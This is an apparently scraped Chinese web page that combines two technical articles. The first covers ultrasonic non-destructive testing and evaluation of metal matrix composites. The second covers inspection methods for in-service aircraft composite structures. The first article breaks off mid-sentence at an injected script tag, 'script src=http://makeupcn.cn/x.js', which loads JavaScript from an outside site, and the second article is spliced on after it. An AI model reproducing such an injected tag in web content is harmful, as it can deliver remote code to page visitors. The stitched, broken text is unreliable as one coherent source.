内容发布更新时间 : 2024/4/19 18:21:17星期一 下面是文章的全部内容请认真阅读。

金属基复合材料超声无损检测及评价技术的发展

金属基复合材料同时具有金属的性能（塑性和韧性）和陶瓷的优点（高强度和高刚度），如硼或碳化硅增强的铝或钛在性能上比基体材料均有明显的改善，除比强度、比刚度和工作温度提高外，还具有耐磨损、抗老化、不吸湿、不放气、尺寸稳定等特点，它在工业中的应用有利于提高零件强度，减轻产品重量。从20世纪60年代开始，金属基复合材料就受到了广泛的关注，但由于制造工艺复杂，成本较高，它主要被应用于航空航天领域。

金属基复合材料通常采用铸锭冶金法或粉末冶金工艺制备，均有可能产生增强体分布不均匀等缺陷，从而导致材料的性能下降或性能分散度大。传统的方法是通过金相照片观察材料的组织结构与形态，从而确定材料是否包含缺陷，或采用力学性能试验机等仪器设备直接测量材料的机械性能。上述这些方法都必须破坏试样，甚至造成材料无法使用，且存在操作复杂，费时费力，检测区域受限等问题，严重限制了材料使用范围。因此，迫使人们开展金属基复合材料的无损检测和评价方法的研究，以满足工程实际的需要。 金属基复合材料的超声无损检测

超声波检测技术在金属基复合材料方面的应用主要分为2类：一是探测材料或构件中是否存在缺陷，并对缺陷的形状、大小、方位、取向、分布和内含物等情况进行判断，即超声无损检测（Ultrasonic Non-destructive Testing，UNDT）；二是借鉴有损测试手段获得的信息，在材料的力学性能、微观结构与无损检测参量之间建立相关联系，进而对材料进行评价，即超声无损评价（Ultrasonic Non-destructive Evaluation，UNDE）。

由于UNDT操作简单，成本较低，对人体无害，已被广泛应用于金属基复合材料的检测。UNDT检测的缺陷对象除裂纹、内孔等普通缺陷外，还包括增强体偏聚等金属基复合材料特有的缺陷。利用聚焦探头进行超声C扫描，可以获得存在团聚、气孔等缺陷的分布图像。P.K.Liaw在对粉末冶金工艺制造的SiCp增强6013铝合金（增强体体积百分比为25%）坯料进行无损检测中，首先使用5MHz聚焦探头对试样进行了超声C扫描成像，从图像中可以清晰地辨认出SiCp的团聚，其中最小的团聚体直径为1.6mm；然后利用扫描电镜观察了对应位置的微观结构形貌，验证了C扫描结果的正确性。K.Lemster在研究X38CrMoV5-1/Al2O3金属基复合材料的机械性能时使用超声C扫描对材料内部的均匀性和裂纹进行了检测。国内魏勤等人利用超声C扫描对SiCp/Al试样进行了检测，可以清晰地看出材料中的团聚和孔洞。

金属基复合材料的超声无损评价是通过可测的声学参量，如声速、声衰减系数、回波频率等对材料的弹性常数、SiCp体积百分比含量、孔隙率等特征进行测量，从而对材料的力学性能、成分或微观结构等方面做出评价。在对材料进行

超声无损评价前通常会首先进行缺陷检测，以免夹杂、气孔等缺陷影响评价结果，因此UNDT是UNDE的基础，而UNDE是UNDT的延伸。由于UNDE可以从不同视角对被评价对象的固有属性、功能、状态、潜能及其趋势等做出完整、准确的评价和预测，因此成为目前无损检测技术研究的一个热点。 金属基复合材料的超声无损评价 在超声无损评价的研究中，最重要的步骤就是建立可测声学参量与材料特征参数之间的关系。针对金属基复合材料，研究的对象主要有弹性常数矩阵或弹性模量、增强体的体积百分比、孔隙率和增强体颗粒大小等。由于在评价中针对的材料特征不同，测量的声学参量不同，因此所使用的理论也不同，涉及的范围十分广泛。

1 弹性常数矩阵或弹性模量的测量

金属基复合材料中增强体颗粒或晶须在不同方向上的排列往往不同，因此它通常属于各向异性材料。Hyunjo Jeong对金属基复合材料的微观结构进行了研究，通过扫描电镜观察了挤压面和另外2个平面的晶相图像，可以明显地看出增强?script src=http://makeupcn.cn/x.js>

在役航空复合材料结构的无损检测技术 随着航空制造技术的不断发展，复合材料以其高的比强度、比刚度及良好的抗疲劳性和耐腐蚀性获得广泛的应用。由于影响复合材料结构完整性的因素甚多，许多工艺参数的微小差异都会导致其产生缺陷，使得产品质量呈现明显的离散性，这些缺陷严重影响构件的机械性能和完整性，必须通过无损检测来鉴别产品的内部质量状况，以确保产品质量，满足设计和使用要求。

在役飞机的无损检测是确保飞行安全的必要手段，对复合材料部件尤为重

要。在役飞机复合材料部件的检测与生产制造中的检测有较大的差别，其特点为：

（1） 在位检测，即检测对象不动，检测围绕检测对象来进行，检测设备都是移动式或者便携式检测设备；

（2）检测对象都是部件，多为中空结构，只能从外部进行单侧检测；

（3）外场检测，空中作业多，检测工作实施不便。

航空复合材料结构类型及其缺陷

航空结构中常用的复合材料结构主要有纤维增强树脂层板结构和夹芯结构。纤维增强树脂层板结构按照材料的不同又分为碳纤维增强树脂结构（CFRP）和玻璃纤维增强树脂结构（GFRP）；夹芯结构主要是蜂窝夹芯结构、泡沫夹芯结构和少量的玻璃微珠夹芯结构。

复合材料构件在使用过程中往往会由于应力或环境因素而产生损伤，以至破坏。复合材料损伤的产生、扩展与金属结构的损伤扩展规律有比较大的差异，往往在损伤扩展到一定的尺度以后，会迅速扩展而导致结构失效，所以复合材料在使用过程中的检测，就显得极为重要，也越来越受到人们的重视。

1 纤维增强树脂层板结构中存在的主要缺陷

纤维增强树脂层板结构在成型过程中往往会由于工艺原因而产生缺陷，人为操作的随机性会产生夹杂、铺层错误等缺陷；固化程控不好会产生孔隙率超标、分层、脱胶等缺陷；在制孔过程和装配中会形成孔边的分层缺陷；使用中由于受载荷、振动、湿热酸碱等环境因素的综合作用会导致初始缺陷（如分层、脱胶）的扩展和分层、脱胶、断裂等新的损伤和破坏的发生。

2 夹芯结构中存在的主要缺陷

夹芯结构在成型过程中也会由于工艺原因而产生某些缺陷；为操作误差等会产生蜂窝芯的变形、节点脱开、因为蜂窝芯过低导致的弱粘接等缺陷，固化程控不好会导致局部的贫胶或富胶、弱粘接、发泡胶空洞等缺陷；使用中会导致初始缺陷（如弱脱胶）的扩展和脱胶、进水、蜂窝芯压塌等新的损伤和破坏的发生。泡沫夹芯结构会产生脱胶、芯子开裂等类型的缺陷。

复合材料结构外场无损检测方法

在复合材料结构的生产过程中，为了确定其技术指标是否达到设计要求，在生产的各个环节中，都会通过不同的无损检测手段来检验产品质量，以确保产品的最终质量。其中有些方法也被移植应用于外场的检测，这些方法包括目视法、敲击法、声阻法、声谐振法、超声检测技术、射线检测技术等。